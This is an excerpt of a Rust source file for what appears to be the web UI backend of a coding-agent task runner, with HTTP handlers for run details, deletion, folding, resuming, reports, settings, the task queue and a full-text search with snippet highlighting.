3319 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3320 reviews_md: state
3321 .reviews
3322 .iter()
3323 .map(|round| RoundMd {
3324 reviewers: round
3325 .reviews
3326 .iter()
3327 .map(|rec| ReviewerMd {
3328 summary: nodes(&rec.summary),
3329 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3330 })
3331 .collect(),
3332 reconsideration: round
3333 .reconsideration
3334 .iter()
3335 .map(|rv| nodes(&rv.reason))
3336 .collect(),
3337 fix: round.fix.as_ref().map(|fix| FixMd {
3338 notes: nodes(&fix.notes),
3339 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3340 }),
3341 })
3342 .collect(),
3343 }
3344}
3345
3346impl RunDetailView {
3347 fn of(
3348 state: RunState,
3349 waiting: bool,
3350 live: crate::run::Liveness,
3351 superseded_by: Option<String>,
3352 latest_attempt: Option<LatestAttempt>,
3353 task: Option<TaskRef>,
3354 ) -> Self {
3355 let display_status = run_display_status(&state, waiting, live);
3356 Self {
3357 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3358 prose_md: run_prose_md(&state),
3359 origin_label: crate::run::origin_label(state.origin.as_ref()),
3360 live,
3361 unmerged_by_design: state.unmerged_by_design(),
3362 waiting,
3363 display_status,
3364 done: state.status.done(),
3365 superseded_by,
3366 latest_attempt,
3367 task,
3368 state,
3369 }
3370 }
3371}
3372
3373async fn run_detail(
3374 State(ui): State<Arc<Ui>>,
3375 Path(id): Path<String>,
3376) -> ApiResult<Json<RunDetailView>> {
3377 blocking(move || {
3378 let id = resolve_run(&ui.runs, &id)?;
3379 let state = read_run(&ui.runs, &id)?;
3380 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3381 let live = state.liveness(daemon_claims);
3382 let waiting = !ui.questions.open_for(&id).is_empty();
3383 let superseded_by = state
3384 .pr_taken_over_by
3385 .clone()
3386 .or_else(|| ui.queue.superseded_by(&id))
3387 .as_deref()
3388 .map(crate::run::short_of)
3389 .map(str::to_owned);
3390 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3394 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3395 short: head.short().to_owned(),
3396 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3397 status: head.status,
3398 done: head.status.done(),
3399 id: head.id,
3400 })
3401 });
3402 let max_attempts = daemon::Opts::default().max_attempts;
3403 let task = ui
3404 .queue
3405 .list()
3406 .into_iter()
3407 .find(|t| t.runs.contains(&id))
3408 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3409 Ok(Json(RunDetailView::of(
3410 state,
3411 waiting,
3412 live,
3413 superseded_by,
3414 latest_attempt,
3415 task,
3416 )))
3417 })
3418 .await
3419}
3420
3421async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3430 let (id, unreadable) = {
3431 let ui = Arc::clone(&ui);
3432 blocking(move || {
3433 let id = resolve_run(&ui.runs, &id)?;
3434 match read_run(&ui.runs, &id) {
3435 Ok(state) => {
3436 let in_flight =
3437 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3438 state
3439 .ensure_can_delete(in_flight)
3440 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3441 let dir = ui.runs.join(&id);
3442 std::fs::remove_dir_all(&dir)
3443 .with_context(|| format!("remove run directory {}", dir.display()))?;
3444 Ok((id, false))
3445 }
3446 Err(_) => {
3447 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3451 return Err(ApiError::conflict(format!(
3452 "run {id} is being worked on by a live daemon right now"
3453 )));
3454 }
3455 Ok((id, true))
3456 }
3457 }
3458 })
3459 .await?
3460 };
3461 if unreadable {
3462 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3463 .await
3464 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3465 }
3466 let ui = Arc::clone(&ui);
3467 let done = id.clone();
3468 blocking(move || {
3469 ui.questions.abandon_for_run(
3472 &done,
3473 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3474 )?;
3475 Ok(())
3476 })
3477 .await?;
3478 Ok(StatusCode::NO_CONTENT)
3479}
3480
3481async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3505 let (id, state) = {
3506 let ui = Arc::clone(&ui);
3507 blocking(move || {
3508 let id = resolve_run(&ui.runs, &id)?;
3509 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3510 return Err(ApiError::conflict(format!(
3511 "run {id} is being worked on by a live daemon right now"
3512 )));
3513 }
3514 let state = read_run(&ui.runs, &id).ok();
3515 Ok((id, state))
3516 })
3517 .await?
3518 };
3519 let removed = match state {
3520 Some(mut state) => {
3521 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3522 .await
3523 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3524 if removed.is_empty() {
3529 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3530 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3531 }
3532 removed
3533 }
3534 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3535 .await
3536 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3537 };
3538 Ok(Json(FoldView {
3539 run: id,
3540 removed_count: removed.len(),
3541 removed,
3542 }))
3543}
3544
3545#[derive(Debug, Serialize)]
3547struct FoldView {
3548 run: String,
3549 removed: Vec<String>,
3551 removed_count: usize,
3552}
3553
3554#[derive(Debug, Deserialize)]
3557struct FoldMergedBody {
3558 #[serde(default)]
3559 pr_url: String,
3560}
3561
3562async fn run_fold_merged(
3582 State(ui): State<Arc<Ui>>,
3583 Path(id): Path<String>,
3584 Json(body): Json<FoldMergedBody>,
3585) -> ApiResult<Json<FoldMergedView>> {
3586 let pr_url = body.pr_url.trim().to_owned();
3587 if pr_url.is_empty() {
3588 return Err(ApiError::bad_request("pr_url is required"));
3589 }
3590 let (id, mut state) = {
3591 let ui = Arc::clone(&ui);
3592 blocking(move || {
3593 let id = resolve_run(&ui.runs, &id)?;
3594 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3595 return Err(ApiError::conflict(format!(
3596 "run {id} is being worked on by a live daemon right now"
3597 )));
3598 }
3599 let state = read_run(&ui.runs, &id)?;
3600 Ok((id, state))
3601 })
3602 .await?
3603 };
3604 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3605 .await
3606 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3607 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3608 .await
3609 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3610 Ok(Json(FoldMergedView {
3611 run: id,
3612 before: before.as_str().to_owned(),
3613 after: after.as_str().to_owned(),
3614 removed,
3615 }))
3616}
3617
3618#[derive(Debug, Serialize)]
3620struct FoldMergedView {
3621 run: String,
3622 before: String,
3624 after: String,
3626 removed: Vec<String>,
3628}
3629
3630async fn run_resume(
3650 State(ui): State<Arc<Ui>>,
3651 Path(id): Path<String>,
3652) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3653 let (id, state) = {
3654 let ui = Arc::clone(&ui);
3655 blocking(move || {
3656 let id = resolve_run(&ui.runs, &id)?;
3657 let state = read_run(&ui.runs, &id)?;
3658 Ok((id, state))
3659 })
3660 .await?
3661 };
3662 if let Some(to) = state
3663 .pr_taken_over_by
3664 .as_ref()
3665 .or(state.released_to.as_ref())
3666 {
3667 return Err(ApiError::conflict(format!(
3668 "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3669 state.short(),
3670 crate::run::short_of(to)
3671 )));
3672 }
3673 if !state.status.resumable() {
3674 return Err(ApiError::conflict(format!(
3675 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3676 state.short(),
3677 status_word(state.status)
3678 )));
3679 }
3680 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3685 .into_iter()
3686 .next()
3687 {
3688 return Err(ApiError::conflict(format!(
3689 "the loop is running run {} right now; stop it first, or wait for \
3690 it to finish, before resuming a run by hand.",
3691 crate::run::short_of(&work.run)
3692 )));
3693 }
3694 let _resume = ui.begin_resume(&id)?;
3695
3696 let queued = RunSummary::of(
3699 &state,
3700 !ui.questions.open_for(&id).is_empty(),
3701 state.liveness(false),
3702 );
3703 let run = id.clone();
3704 tokio::spawn(async move {
3705 let _resume = _resume;
3706 match crate::graph::Runner::resume(&run) {
3707 Ok(mut runner) => {
3708 if let Err(e) = runner.execute().await {
3709 tracing::warn!("resume of run {run} stopped: {e:#}");
3710 }
3711 }
3712 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3715 }
3716 });
3717 Ok((StatusCode::ACCEPTED, Json(queued)))
3718}
3719
3720async fn run_report(
3721 State(ui): State<Arc<Ui>>,
3722 Path(id): Path<String>,
3723) -> ApiResult<impl IntoResponse> {
3724 let text = blocking(move || {
3725 let id = resolve_run(&ui.runs, &id)?;
3726 let state = read_run(&ui.runs, &id)?;
3730 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3731 let live = state.liveness(daemon_claims);
3732 Ok(format!(
3733 "{}{}",
3734 report::run(&state),
3735 report::active_seats(&state, live)
3736 ))
3737 })
3738 .await?;
3739 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3740}
3741
3742async fn run_report_json(
3746 State(ui): State<Arc<Ui>>,
3747 Path(id): Path<String>,
3748) -> ApiResult<Json<crate::report_view::RunReportView>> {
3749 let view = blocking(move || {
3750 let id = resolve_run(&ui.runs, &id)?;
3751 let state = read_run(&ui.runs, &id)?;
3752 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3753 Ok(crate::report_view::build(
3754 &state,
3755 state.liveness(daemon_claims),
3756 ))
3757 })
3758 .await?;
3759 Ok(Json(view))
3760}
3761
3762#[derive(Debug, Serialize)]
3768struct TaskView {
3769 #[serde(flatten)]
3770 task: Task,
3771 source_label: String,
3772 source_link: Option<SourceLink>,
3773 status_str: &'static str,
3774 instruction_md: Vec<md::Node>,
3778 waits_on: Vec<String>,
3782 stuck_roots: Vec<String>,
3785}
3786
3787impl From<Task> for TaskView {
3788 fn from(task: Task) -> Self {
3789 Self {
3790 source_label: task.source.label(),
3791 source_link: source_link(&task.source),
3792 status_str: task.status.as_str(),
3793 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3794 waits_on: Vec::new(),
3795 stuck_roots: Vec::new(),
3796 task,
3797 }
3798 }
3799}
3800
3801impl TaskView {
3802 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3803 let waits_on = inv.waits_on(&task);
3804 let stuck_roots = inv
3805 .stuck_roots(&task)
3806 .iter()
3807 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3808 .collect();
3809 Self {
3810 waits_on,
3811 stuck_roots,
3812 ..Self::from(task)
3813 }
3814 }
3815}
3816
3817#[derive(Debug, Default, Deserialize)]
3820#[serde(default)]
3821struct ReposQuery {
3822 refresh: u8,
3823}
3824
3825async fn repos_list(
3832 State(ui): State<Arc<Ui>>,
3833 Query(q): Query<ReposQuery>,
3834) -> ApiResult<Json<Vec<repos::Repo>>> {
3835 let refresh = q.refresh != 0;
3836 blocking(move || {
3837 let (cfg, _) = Config::discover(&ui.repo, None)?;
3838 Ok(Json(ui.repos_cache.list(
3839 &cfg.repos.roots,
3840 Duration::from_secs(cfg.repos.scan_ttl),
3841 refresh,
3842 )))
3843 })
3844 .await
3845}
3846
3847#[derive(Debug, Default, Deserialize)]
3849struct SettingsQuery {
3850 repo: Option<PathBuf>,
3851}
3852
3853fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
3857 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
3858 let paths: Vec<PathBuf> = ui
3859 .machine_config
3860 .iter()
3861 .filter(|p| p.is_file())
3862 .cloned()
3863 .collect();
3864 if paths.is_empty() {
3865 Ok(Config::autodetected())
3866 } else {
3867 Config::load_layers(&paths)
3868 }
3869 });
3870 let mut known = cfg
3871 .map(|cfg| {
3872 ui.repos_cache.list(
3873 &cfg.repos.roots,
3874 Duration::from_secs(cfg.repos.scan_ttl),
3875 refresh,
3876 )
3877 })
3878 .unwrap_or_default();
3879 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
3880 if !known.iter().any(|r| r.path == path) {
3881 known.push(repos::Repo {
3882 name: path
3883 .file_name()
3884 .unwrap_or_default()
3885 .to_string_lossy()
3886 .into_owned(),
3887 path,
3888 });
3889 }
3890 known
3891}
3892
3893fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
3894 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
3895 let canonical = requested.canonicalize().ok();
3896 let mut known = settings_repositories(ui, false);
3897 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
3898 if !known.iter().any(matches) {
3899 known = settings_repositories(ui, true);
3900 }
3901 let repo = known
3902 .iter()
3903 .find(|r| matches(r))
3904 .map(|r| r.path.clone())
3905 .ok_or_else(|| ApiError {
3906 status: StatusCode::UNPROCESSABLE_ENTITY,
3907 message: "Choose a known repository from the Settings selector.".to_owned(),
3908 })?;
3909 Ok((repo, known))
3910}
3911
3912async fn settings_get(
3916 State(ui): State<Arc<Ui>>,
3917 Query(q): Query<SettingsQuery>,
3918) -> ApiResult<Json<settings::SettingsView>> {
3919 blocking(move || {
3920 let (repo, known) = settings_context(&ui, q)?;
3921 Ok(Json(settings::view_with_repos(
3922 &repo,
3923 ui.machine_config.as_deref(),
3924 &known,
3925 )))
3926 })
3927 .await
3928}
3929
3930#[derive(Debug, Deserialize)]
3932#[serde(deny_unknown_fields)]
3933struct RolesBody {
3934 revision: String,
3936 #[serde(default)]
3938 roles: std::collections::BTreeMap<String, Vec<String>>,
3939 #[serde(default)]
3943 counts: std::collections::BTreeMap<String, serde_json::Value>,
3944}
3945
3946async fn settings_put_roles(
3952 State(ui): State<Arc<Ui>>,
3953 Query(q): Query<SettingsQuery>,
3954 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3955) -> ApiResult<Json<settings::SettingsView>> {
3956 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3957 blocking(move || {
3958 let (repo, known) = settings_context(&ui, q)?;
3959 settings::save_with_repos(
3960 &repo,
3961 ui.machine_config.as_deref(),
3962 &body.revision,
3963 &body.roles,
3964 &body.counts,
3965 &known,
3966 )
3967 .map(Json)
3968 .map_err(|e| match e {
3969 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3970 settings::SaveError::Refused(m) => ApiError {
3971 status: StatusCode::UNPROCESSABLE_ENTITY,
3972 message: m,
3973 },
3974 settings::SaveError::Internal(m) => ApiError::internal(m),
3975 })
3976 })
3977 .await
3978}
3979
3980async fn queue_list(
3981 State(ui): State<Arc<Ui>>,
3982 Query(q): Query<ListQuery>,
3983) -> ApiResult<Json<Vec<TaskView>>> {
3984 blocking(move || {
3985 let tasks = ui.queue.list();
3986 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3987 Ok(Json(
3988 tasks
3989 .into_iter()
3990 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3991 .map(|t| TaskView::with_inventory(t, &inv))
3992 .collect(),
3993 ))
3994 })
3995 .await
3996}
3997
3998const SEARCH_MAX_HITS: usize = 100;
4000const SEARCH_MAX_QUERY: usize = 200;
4002const SEARCH_MAX_TERMS: usize = 8;
4003const SNIPPET_BEFORE: usize = 50;
4005const SNIPPET_AFTER: usize = 110;
4006
4007#[derive(Debug, Deserialize)]
4009struct SearchQuery {
4010 #[serde(default)]
4011 scope: String,
4012 #[serde(default)]
4013 q: String,
4014}
4015
4016#[derive(Debug, Serialize, PartialEq, Eq)]
4019struct SnippetPart {
4020 text: String,
4021 hit: bool,
4022}
4023
4024#[derive(Debug, Serialize)]
4025struct SearchHit {
4026 id: String,
4027 field: String,
4029 snippet: Vec<SnippetPart>,
4030 #[serde(skip_serializing_if = "Option::is_none")]
4034 run: Option<RunSummary>,
4035}
4036
4037#[derive(Debug, Serialize)]
4038struct SearchView {
4039 scope: String,
4040 q: String,
4041 hits: Vec<SearchHit>,
4043 total: usize,
4045 truncated: bool,
4046 unreadable: usize,
4049}
4050
4051fn text_leaves<'a>(
4054 value: &'a serde_json::Value,
4055 field: &'a str,
4056 out: &mut Vec<(&'a str, &'a str)>,
4057) {
4058 match value {
4059 serde_json::Value::String(s) => out.push((field, s)),
4060 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4061 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4062 _ => {}
4063 }
4064}
4065
4066fn fold_char(c: char) -> char {
4069 c.to_lowercase().next().unwrap_or(c)
4070}
4071
4072fn search_terms(q: &str) -> Vec<String> {
4074 let mut terms: Vec<String> = Vec::new();
4075 for t in q.split_whitespace() {
4076 let t = t.to_lowercase();
4077 if !terms.contains(&t) {
4078 terms.push(t);
4079 }
4080 }
4081 terms
4082}
4083
4084fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4087 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4088 let mut first: Option<usize> = None;
4089 for term in terms {
4090 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4091 first = Some(first.map_or(at, |f| f.min(at)));
4092 }
4093 let (field, text) = leaves[first?];
4095 Some(SearchHit {
4096 id: String::new(),
4097 field: field.to_owned(),
4098 snippet: snippet_of(text, terms),
4099 run: None,
4100 })
4101}
4102
4103fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4106 let chars: Vec<char> = text.chars().collect();
4107 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4108 let needles: Vec<Vec<char>> = terms
4109 .iter()
4110 .map(|t| t.chars().map(fold_char).collect())
4111 .collect();
4112 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4113 let mut best: Option<(usize, usize)> = None;
4114 for n in needles.iter().filter(|n| !n.is_empty()) {
4115 if n.len() > chars.len() || to == 0 {
4119 continue;
4120 }
4121 let last = (to - 1).min(chars.len() - n.len());
4122 if from > last {
4123 continue;
4124 }
4125 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4126 && best.is_none_or(|(b, _)| i < b)
4127 {
4128 best = Some((i, i + n.len()));
4129 }
4130 }
4131 best
4132 };
4133 let Some((start, _)) = find(0, chars.len()) else {
4134 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4136 return vec![SnippetPart {
4137 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4138 hit: false,
4139 }];
4140 };
4141 let lo = start.saturating_sub(SNIPPET_BEFORE);
4142 let hi = (start + SNIPPET_AFTER).min(chars.len());
4143 let mut parts: Vec<SnippetPart> = Vec::new();
4144 let mut push = |s: &[char], hit: bool| {
4145 if s.is_empty() {
4146 return;
4147 }
4148 let text: String = s.iter().collect();
4149 match parts.last_mut() {
4150 Some(p) if p.hit == hit => p.text.push_str(&text),
4151 _ => parts.push(SnippetPart { text, hit }),
4152 }
4153 };
4154 if lo > 0 {
4155 push(&['\u{2026}'], false);
4156 }
4157 let mut at = lo;
4158 while at < hi {
4159 match find(at, hi) {
4160 Some((s, e)) => {
4161 push(&chars[at..s], false);
4162 let shown = e.min(hi);
4164 push(&chars[s..shown], true);
4165 at = shown;
4166 }
4167 None => {
4168 push(&chars[at..hi], false);
4169 at = hi;
4170 }
4171 }
4172 }
4173 if hi < chars.len() {
4174 push(&['\u{2026}'], false);
4175 }
4176 let mut prev_space = false;
4179 for p in &mut parts {
4180 let mut out = String::with_capacity(p.text.len());
4181 for c in p.text.chars() {
4182 if c.is_whitespace() {
4183 if !prev_space {
4184 out.push(' ');
4185 }
4186 prev_space = true;
4187 } else {
4188 out.push(c);
4189 prev_space = false;
4190 }
4191 }
4192 p.text = out;
4193 }
4194 parts.retain(|p| !p.text.is_empty());
4195 parts
4196}
4197
4198fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4200where
4201 I: IntoIterator<Item = (String, serde_json::Value)>,
4202{
4203 for (id, doc) in docs {
4204 let mut leaves = Vec::new();
4205 leaves.push(("id", id.as_str()));
4208 text_leaves(&doc, "", &mut leaves);
4209 if let Some(mut hit) = search_document(terms, &leaves) {
4210 view.total += 1;
4211 if view.hits.len() < SEARCH_MAX_HITS {
4212 hit.id = id;
4213 view.hits.push(hit);
4214 }
4215 }
4216 }
4217 view.truncated = view.total > view.hits.len();
4218}
4219
4220fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4227 let opener = talk
4228 .turns
4229 .iter()
4230 .find(|t| t.who == crate::talk::Who::Operator)
4231 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4232 .unwrap_or("");
4233 let title: String = if opener.chars().count() > 96 {
4234 opener.chars().take(95).chain(['\u{2026}']).collect()
4235 } else {
4236 opener.to_owned()
4237 };
4238 let turns: Vec<serde_json::Value> = talk
4239 .turns
4240 .iter()
4241 .map(|t| {
4242 let who = match t.who {
4243 crate::talk::Who::Operator => "operator",
4244 crate::talk::Who::Agent => "agent",
4245 };
4246 serde_json::json!({ who: t.body })
4247 })
4248 .collect();
4249 serde_json::json!({ "title": title, "turns": turns })
4250}
4251
4252async fn search_get(
4259 State(ui): State<Arc<Ui>>,
4260 Query(q): Query<SearchQuery>,
4261) -> ApiResult<Json<SearchView>> {
4262 let query = q.q.trim().to_owned();
4263 if query.is_empty() {
4264 return Err(ApiError::bad_request("q must not be empty"));
4265 }
4266 if query.chars().count() > SEARCH_MAX_QUERY {
4267 return Err(ApiError::bad_request(format!(
4268 "q is longer than {SEARCH_MAX_QUERY} characters"
4269 )));
4270 }
4271 let terms = search_terms(&query);
4272 if terms.len() > SEARCH_MAX_TERMS {
4273 return Err(ApiError::bad_request(format!(
4274 "q has more than {SEARCH_MAX_TERMS} terms"
4275 )));
4276 }
4277 let scope = q.scope;
4278 if scope != "runs" && scope != "tasks" && scope != "chats" {
4279 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4280 }
4281 blocking(move || {
4282 let mut view = SearchView {
4283 scope: scope.clone(),
4284 q: query,
4285 hits: Vec::new(),
4286 total: 0,
4287 truncated: false,
4288 unreadable: 0,
4289 };
4290 if scope == "runs" {
4291 let mut unreadable = 0;
4292 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4296 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4297 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4298 Some(v) => Some((id, v)),
4299 None => {
4300 unreadable += 1;
4301 None
4302 }
4303 }
4304 });
4305 search_docs(&terms, docs, &mut view);
4306 view.unreadable = unreadable;
4307 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4310 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4311 for hit in &mut view.hits {
4312 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4313 hit.run = summarize(
4314 [state],
4315 &open_runs,
4316 &claimed,
4317 &superseded,
4318 |p| probe.borrow_mut().status(p),
4319 |p| probe.borrow_mut().started_at(p),
4320 )
4321 .pop();
4322 }
4323 }
4324 } else if scope == "chats" {
4325 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4326 view.unreadable = unreadable;
4327 search_docs(
4328 &terms,
4329 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4330 &mut view,
4331 );
4332 } else {
4333 let docs = ui.queue.list().into_iter().filter_map(|t| {
4334 let mut v = serde_json::to_value(&t).ok()?;
4335 if let Some(o) = v.as_object_mut() {
4338 o.insert("filed_by".to_owned(), t.source.label().into());
4339 }
4340 Some((t.id, v))
4341 });
4342 search_docs(&terms, docs, &mut view);
4343 }
4344 Ok(Json(view))
4345 })
4346 .await
4347}
4348
4349#[derive(Debug, Serialize)]
4351struct TaskRunView {
4352 n: usize,
4354 id: String,
4355 short: String,
4356 kind: &'static str,
4358 status: Option<&'static str>,
4360 readable: bool,
4362 provisional: bool,
4364 description: String,
4366 outcome: String,
4368 created_at: Option<Timestamp>,
4369 pr: Option<String>,
4370 exit: RunExit,
4372 attempt: AttemptCost,
4374 branch: Option<String>,
4376}
4377
4378#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4380#[serde(rename_all = "snake_case")]
4381enum RunExit {
4382 Unreadable,
4383 Interrupted,
4385 Parked,
4386 QuotaStall,
4387 ResumedQuotaStall,
4391 Merged,
4392 Ready,
4393 Superseded,
4394 AlreadyInBase,
4397 Stalled,
4399 HeldWithPr,
4401 NoopHeld,
4402 Spent,
4404 InProgress,
4405}
4406
4407#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4408#[serde(rename_all = "snake_case")]
4409enum AttemptCost {
4410 Spent,
4411 Refunded,
4412 None,
4413 Unknown,
4415}
4416
4417impl RunExit {
4418 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4419 let Some(s) = s else {
4420 return Self::Unreadable;
4421 };
4422 let status = s.status;
4423 if resumed_later {
4424 Self::Interrupted
4425 } else if s.parked {
4426 Self::Parked
4427 } else if !status.done() {
4428 Self::InProgress
4429 } else if matches!(status, RunStatus::Merged) {
4430 Self::Merged
4431 } else if matches!(status, RunStatus::Ready) {
4432 Self::Ready
4433 } else if matches!(status, RunStatus::Superseded) {
4434 Self::Superseded
4435 } else if matches!(status, RunStatus::AlreadyInBase) {
4436 Self::AlreadyInBase
4437 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4438 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4439 {
4440 if resumed {
4441 Self::ResumedQuotaStall
4442 } else {
4443 Self::QuotaStall
4444 }
4445 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4446 Self::HeldWithPr
4447 } else if matches!(status, RunStatus::VerifiedNoop) {
4448 Self::NoopHeld
4449 } else if matches!(status, RunStatus::Stalled) {
4450 Self::Stalled
4451 } else {
4452 Self::Spent
4453 }
4454 }
4455
4456 fn cost(self) -> AttemptCost {
4457 match self {
4458 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4459 Self::Merged
4460 | Self::Ready
4461 | Self::Stalled
4462 | Self::HeldWithPr
4463 | Self::NoopHeld
4464 | Self::Spent => AttemptCost::Spent,
4465 Self::InProgress => AttemptCost::None,
4466 Self::AlreadyInBase => AttemptCost::Refunded,
4467 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4468 AttemptCost::Unknown
4469 }
4470 }
4471 }
4472
4473 fn edge_label(self, status: Option<&str>) -> String {
4475 match self {
4476 Self::Unreadable => "record unreadable".to_owned(),
4477 Self::Interrupted => "interrupted before the run finished".to_owned(),
4478 Self::Parked => "parked, attempt refunded".to_owned(),
4479 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4480 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4481 Self::Merged => "merged".to_owned(),
4482 Self::Ready => "ready, not merged".to_owned(),
4483 Self::Superseded => "superseded by a later attempt".to_owned(),
4484 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4485 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4486 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4487 Self::NoopHeld => "verified no-op".to_owned(),
4488 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4489 Self::InProgress => "in progress".to_owned(),
4490 }
4491 }
4492
4493 fn explains(self, end: TaskStatus) -> bool {
4496 match self {
4497 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4498 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4499 Self::Unreadable | Self::Superseded | Self::Ready => true,
4500 _ => end != TaskStatus::Done,
4501 }
4502 }
4503}
4504
4505#[derive(Debug, Serialize)]
4507struct TaskDetailView {
4508 #[serde(flatten)]
4509 task: TaskView,
4510 max_attempts: usize,
4513 history: Vec<TaskRunView>,
4514 flow: FlowView,
4515 followup_origin: Option<FollowUpOrigin>,
4517 runs_unreadable: usize,
4519 attempts_note: &'static str,
4521}
4522
4523const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4524and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4525on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4526in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4527
4528fn review_branch_of(instruction: &str) -> Option<&str> {
4531 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4532 rest.split('`').next().filter(|b| !b.is_empty())
4533}
4534
4535struct RunSlot<'a> {
4537 n: usize,
4539 resumed: bool,
4541 resumed_later: Option<usize>,
4543 prior: Option<(&'a str, RunStatus)>,
4545 last: bool,
4546}
4547
4548fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4551 let RunSlot {
4552 n,
4553 resumed,
4554 resumed_later,
4555 prior,
4556 last,
4557 } = at;
4558 let short = run::short_of(id).to_owned();
4559 let Some(s) = state else {
4560 return TaskRunView {
4561 n,
4562 id: id.to_owned(),
4563 short,
